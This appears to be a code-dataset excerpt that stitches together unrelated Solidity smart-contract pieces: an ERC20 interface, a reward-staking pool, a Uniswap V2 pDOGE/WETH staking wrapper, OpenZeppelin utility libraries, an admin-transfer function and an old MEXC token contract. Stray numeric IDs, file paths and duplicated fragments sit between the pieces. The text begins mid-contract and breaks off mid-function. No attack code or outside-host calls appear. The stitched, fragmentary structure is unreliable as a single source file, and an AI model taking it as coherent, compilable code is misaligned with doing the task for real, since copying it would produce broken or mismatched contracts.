chainId; } }
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
10,920,295
pragma solidity ^0.5.0; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.0; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./IRewardDistributionRecipient.sol"; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event Approval(address indexed owner, address indexed spender, uint256 value); constructor(address _token) public { token = IERC20(_token); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stakeFor(address _user, uint256 _amount) public { _stake(_user, _amount); } function stake(uint256 _amount) public { _stake(msg.sender, _amount); } function approve(address _user, uint256 _amount) public { _approve(msg.sender, _user, _amount); } function withdraw(uint256 _amount) public { _withdraw(msg.sender, _amount); } function withdrawFrom(address _user, uint256 _amount) public { _withdraw(_user, _amount); _approve( _user, msg.sender, _allowances[_user][msg.sender].sub(_amount, "LPTokenWrapper: withdraw amount exceeds allowance") ); } function allowance(address _owner, address _spender) public view returns (uint256) { return _allowances[_owner][_spender]; } function _stake(address _user, uint256 _amount) internal { _totalSupply = _totalSupply.add(_amount); _balances[_user] = _balances[_user].add(_amount); token.safeTransferFrom(msg.sender, address(this), _amount); } function _withdraw(address _owner, uint256 _amount) internal { _totalSupply = _totalSupply.sub(_amount); _balances[_owner] = _balances[_owner].sub(_amount); IERC20(token).safeTransfer(msg.sender, _amount); } function _approve( address _owner, address _user, uint256 _amount ) internal returns (bool) { require(_user != address(0), "LPTokenWrapper: approve to the zero address"); _allowances[_owner][_user] = _amount; emit Approval(_owner, _user, _amount); return true; } } contract ModifiedUnipool is LPTokenWrapper, IRewardDistributionRecipient { address public rewardToken; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } constructor(address _rewardToken, address _token) public LPTokenWrapper(_token) { rewardToken = _rewardToken; } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(msg.sender); } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account).mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add( rewards[account] ); } function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function stakeFor(address _user, uint256 _amount) public updateReward(_user) { require(_amount > 0, "Cannot stake 0"); super.stakeFor(_user, _amount); emit Staked(_user, _amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function withdrawFrom(address _user, uint256 amount) public updateReward(_user) { require(amount > 0, "Cannot withdraw 0"); super.withdrawFrom(_user, amount); emit Withdrawn(_user, amount); } function getReward() public { _getReward(msg.sender); } function getReward(address _user) public { _getReward(_user); } function _getReward(address _user) internal updateReward(_user) { uint256 reward = earned(_user); if (reward > 0) { rewards[_user] = 0; IERC20(rewardToken).safeTransfer(_user, reward); emit RewardPaid(_user, reward); } } } pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; function balanceOf(address who) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external returns (uint256); } // taken from here: https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol pragma solidity >=0.5.0; import "@openzeppelin/contracts/math/SafeMath.sol"; library UniswapV2Library { using SafeMath for uint256; // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } /** * @author allemanfredi * @notice given an input amount, returns the output * amount with slippage and with fees. This fx is * to check approximately onchain the slippage * during a swap */ function calculateSlippageAmountWithFees( uint256 _amountIn, uint256 _allowedSlippage, uint256 _rateIn, uint256 _rateOut ) internal pure returns (uint256) { require(_amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); uint256 slippageAmount = _amountIn.mul(_rateOut).div(_rateIn).mul(10000 - _allowedSlippage).div(10000); // NOTE: remove fees return slippageAmount.mul(997).div(1000); } /** * @author allemanfredi * @notice given 2 inputs amount, it returns the * rate percentage between the 2 amounts */ function calculateRate(uint256 _amountIn, uint256 _amountOut) internal pure returns (uint256) { require(_amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require(_amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); return _amountIn > _amountOut ? (10000 * _amountIn).sub(10000 * _amountOut).div(_amountIn) : (10000 * _amountOut).sub(10000 * _amountIn).div(_amountOut); } /** * @author allemanfredi * @notice returns the slippage for a trade counting alfo the fees */ function calculateSlippage( uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut ) internal pure returns (uint256) { require(_amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); uint256 price = _reserveOut.mul(10**18).div(_reserveIn); uint256 quote = _amountIn.mul(price); uint256 amountOut = getAmountOut(_amountIn, _reserveIn, _reserveOut); return uint256(10000).sub((amountOut * 10000).div(quote.div(10**18))).mul(997).div(1000); } } pragma solidity ^0.5.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "../lib/UniswapV2Library.sol"; import "../ModifiedUnipool.sol"; import "../interfaces/IWETH.sol"; contract RewardedPdogeWethUniV2Pair is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public pdoge; IWETH public weth; IUniswapV2Pair public uniV2; ModifiedUnipool public modifiedUnipool; uint256 public allowedSlippage; event Staked(address indexed user, uint256 amount); event Unstaked(address indexed user, uint256 pdogeAmount, uint256 ethAmount); event AllowedSlippageChanged(uint256 slippage); /** * @param _uniV2 UniV2Pair address * @param _modifiedUnipool ModifiedUnipool address */ constructor(address _uniV2, address _modifiedUnipool) public { require(Address.isContract(_uniV2), "RewardedPdogeWethUniV2Pair: _uniV2 not a contract"); uniV2 = IUniswapV2Pair(_uniV2); modifiedUnipool = ModifiedUnipool(_modifiedUnipool); pdoge = IERC20(uniV2.token1()); weth = IWETH(uniV2.token0()); } /** * @notice function used to handle the ethers sent * during the witdraw within the unstake function */ function() external payable { require(msg.sender == address(weth), "RewardedPdogeWethUniV2Pair: msg.sender is not weth"); } /** * @param _allowedSlippage new max allowed in percentage */ function setAllowedSlippage(uint256 _allowedSlippage) external onlyOwner { allowedSlippage = _allowedSlippage; emit AllowedSlippageChanged(_allowedSlippage); } /** * @notice _stakeFor wrapper */ function stake() public payable returns (bool) { require(msg.value > 0, "RewardedPdogeWethUniV2Pair: msg.value must be greater than 0"); _stakeFor(msg.sender, msg.value); return true; } /** * @notice Burn all user's UniV2 staked in the ModifiedUnipool, * unwrap the corresponding amount of WETH into ETH, collect * rewards matured from the UniV2 staking and sent it to msg.sender. * User must approve this contract to withdraw the corresponding * amount of his UniV2 balance in behalf of him. */ function unstake() public returns (bool) { uint256 uniV2SenderBalance = modifiedUnipool.balanceOf(msg.sender); require( modifiedUnipool.allowance(msg.sender, address(this)) >= uniV2SenderBalance, "RewardedPdogeWethUniV2Pair: amount not approved" ); modifiedUnipool.withdrawFrom(msg.sender, uniV2SenderBalance); modifiedUnipool.getReward(msg.sender); uniV2.transfer(address(uniV2), uniV2SenderBalance); (uint256 wethAmount, uint256 pdogeAmount) = uniV2.burn(address(this)); weth.withdraw(wethAmount); address(msg.sender).transfer(wethAmount); pdoge.transfer(msg.sender, pdogeAmount); emit Unstaked(msg.sender, pdogeAmount, wethAmount); return true; } /** * @notice Wrap the Ethereum sent into WETH, swap the amount sent / 2 * into WETH and put them into a pDOGE/WETH Uniswap pool. * The amount of UniV2 token will be sent to ModifiedUnipool * in order to mature rewards. * @param _user address of the user who will have UniV2 tokens in ModifiedUnipool * @param _amount amount of weth to use to perform this operation */ function _stakeFor(address _user, uint256 _amount) internal { uint256 wethAmountIn = _amount / 2; (uint256 wethReserve, uint256 pdogeReserve,) = uniV2.getReserves(); uint256 pdogeAmountOut = UniswapV2Library.getAmountOut(wethAmountIn, wethReserve, pdogeReserve); require( allowedSlippage >= UniswapV2Library.calculateSlippage(wethAmountIn, wethReserve, pdogeReserve), "RewardedPdogeWethUniV2Pair: too much slippage" ); weth.deposit.value(_amount)(); weth.transfer(address(uniV2), wethAmountIn); uniV2.swap(0, pdogeAmountOut, address(this), ""); pdoge.safeTransfer(address(uniV2), pdogeAmountOut); weth.transfer(address(uniV2), wethAmountIn); uint256 liquidity = uniV2.mint(address(this)); uniV2.approve(address(modifiedUnipool), liquidity); modifiedUnipool.stakeFor(_user, liquidity); emit Staked(_user, _amount); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
_stakeFor wrapper/
function stake() public payable returns (bool) { require(msg.value > 0, "RewardedPdogeWethUniV2Pair: msg.value must be greater than 0"); _stakeFor(msg.sender, msg.value); return true; }
1,672,539
./full_match/137/0xb7097B5Cf1Dd5e3896Cc27366Dc2CA80De5502AC/sources/contracts/EnsoBeacon.sol
Accept new admin role Only the pending admin can call this function
function acceptAdministration() external { if (msg.sender != pendingAdmin) revert NotPermitted(); delete pendingAdmin; address previousAdmin = admin; admin = msg.sender; emit AdministrationTransferred(previousAdmin, msg.sender); }
3,744,835
/** * * MIT License * * Author: Hisham Ismail <[email protected]> * Copyright (c) 2018, MEXC Program Developers & OpenZeppelin Project. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract Destructible is Ownable { function Destructible() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { 